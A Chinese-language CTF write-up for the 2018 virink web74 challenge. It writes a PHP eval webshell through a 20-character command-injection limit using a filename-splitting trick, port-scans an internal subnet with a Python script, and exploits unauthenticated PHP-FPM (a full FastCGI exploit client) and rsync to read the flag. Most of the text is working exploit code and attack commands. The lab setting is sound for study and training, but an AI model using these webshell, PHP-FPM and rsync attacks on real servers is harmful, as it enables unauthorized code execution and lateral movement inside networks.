ctf473831530_2018_web_virink_web74

需要一个shell，长度限定了20.

利用1=>filename的特性创建特殊的文件，然后ls -tr列文件拼出完整的shell。ls -tr是按照文件创建时间顺序倒序列文件。由于我们的Shell带有大量特殊字符，考虑转义的问题，我们再套一层echo即可。

 即我们要写入的内容是echo '<?php eval($_GET[c]);' > 2.txt，可以拆成如下几段：

echo\ \\
\'\<\?php \\
eval\(
\$_GET\[c\]\)
\;\'\>2.txt
每一个文件名中有空格的都需要在行尾加上\\

参考大佬的脚本

import requests

base_url = 'http://a40430ad-39b5-4020-a550-14afee81e640.node1.buuoj.cn'


def exec_cmd2(c):
    # exec cmd
    my_params = {
        'cmd': c
    }
    r = requests.get(base_url, params=my_params)
    print('exec cmd2', c, r)


def write_webshell():
    filename = [r'>echo\ \\', r">\'\<\?php \\", r'>eval\(', r'>\$_GET\[c\]\)', r">\;\'\>2.php"]
    for i in filename:
        my_params = {
            'cmd': i
        }
        r = requests.get(base_url, params=my_params)
        print(i, r.status_code)

    cmd_list = ['ls -tr>1.sh', 'sh 1.sh']
    for i in cmd_list:
        exec_cmd2(i)

if __name__ == '__main__':
    write_webshell()
    print('ok')

传个phpinfo

 找不到flag

提示不在这台服务器需要跨机操作 

查看内网信息

cat /proc/net/fib_trie

 

参考大佬脚本

import socket
 
def foo():
    with open('active_port.txt','at') as f:
        for k in range(1,257):
            print(k)
            for i in [80,8080,9000]:
                ip = '10.244.81.{}'.format(k)
                try:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.settimeout(0.3)
                    s.connect((ip,i))
                    s.close()
                    print(str(ip)+'=>'+str(i)+'\n')
                    f.writelines(str(ip)+'=>'+str(i)+'\n')
                except :
                    pass
        f.close()
    pass
 
if __name__ == '__main__':
    foo()
    print('ok')

 

开放80,873,9000端口

9000——PHP-FPM未授权访问漏洞

873——rsync未授权访问漏洞

上传php-fpm的利用脚本                                                                 fastcfi php-fm未授权访问

import socket
import random
import argparse
import sys
from io import BytesIO
 
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
 
PY2 = True if sys.version_info.major == 2 else False
 
 
def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])
 
 
def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)
 
 
def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')
 
 
def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s
 
 
class FastCGIClient:
    """A Fast-CGI Client for Python"""
 
    # private
    __FCGI_VERSION = 1
 
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3
 
    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11
 
    __FCGI_HEADER_SIZE = 8
 
    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3
 
    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()
 
    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True
 
    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
              + bchr(fcgi_type) \
              + bchr((requestid >> 8) & 0xFF) \
              + bchr(requestid & 0xFF) \
              + bchr((length >> 8) & 0xFF) \
              + bchr(length & 0xFF) \
              + bchr(0) \
              + bchr(0) \
              + content
        return buf
 
    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value
 
    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header
 
    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))
 
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
 
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record
 
    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return
 
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
 
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
 
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
 
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)
 
    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf
 
        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']
 
    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)
 
 
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
 
    args = parser.parse_args()
 
    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

python3 php.py 10.244.81.252 /www/redirect.php -c \"<?php system('ls /');?>\"

找到flag 

读取不了

 

利用rsync                                                                 rsync 未授权访问

传输到/tmp下

python3 php.py 10.244.81.252 /www/redirect.php -c \"<?php system('rsync 127.0.0.1::src/7h1s_i5_f14g /tmp/');?>\"

 再读取flag

 python3 php.py 10.244.81.252 /www/redirect.php -c \"<?php system('cat /tmp/7h1s_i5_f14g ');?>\"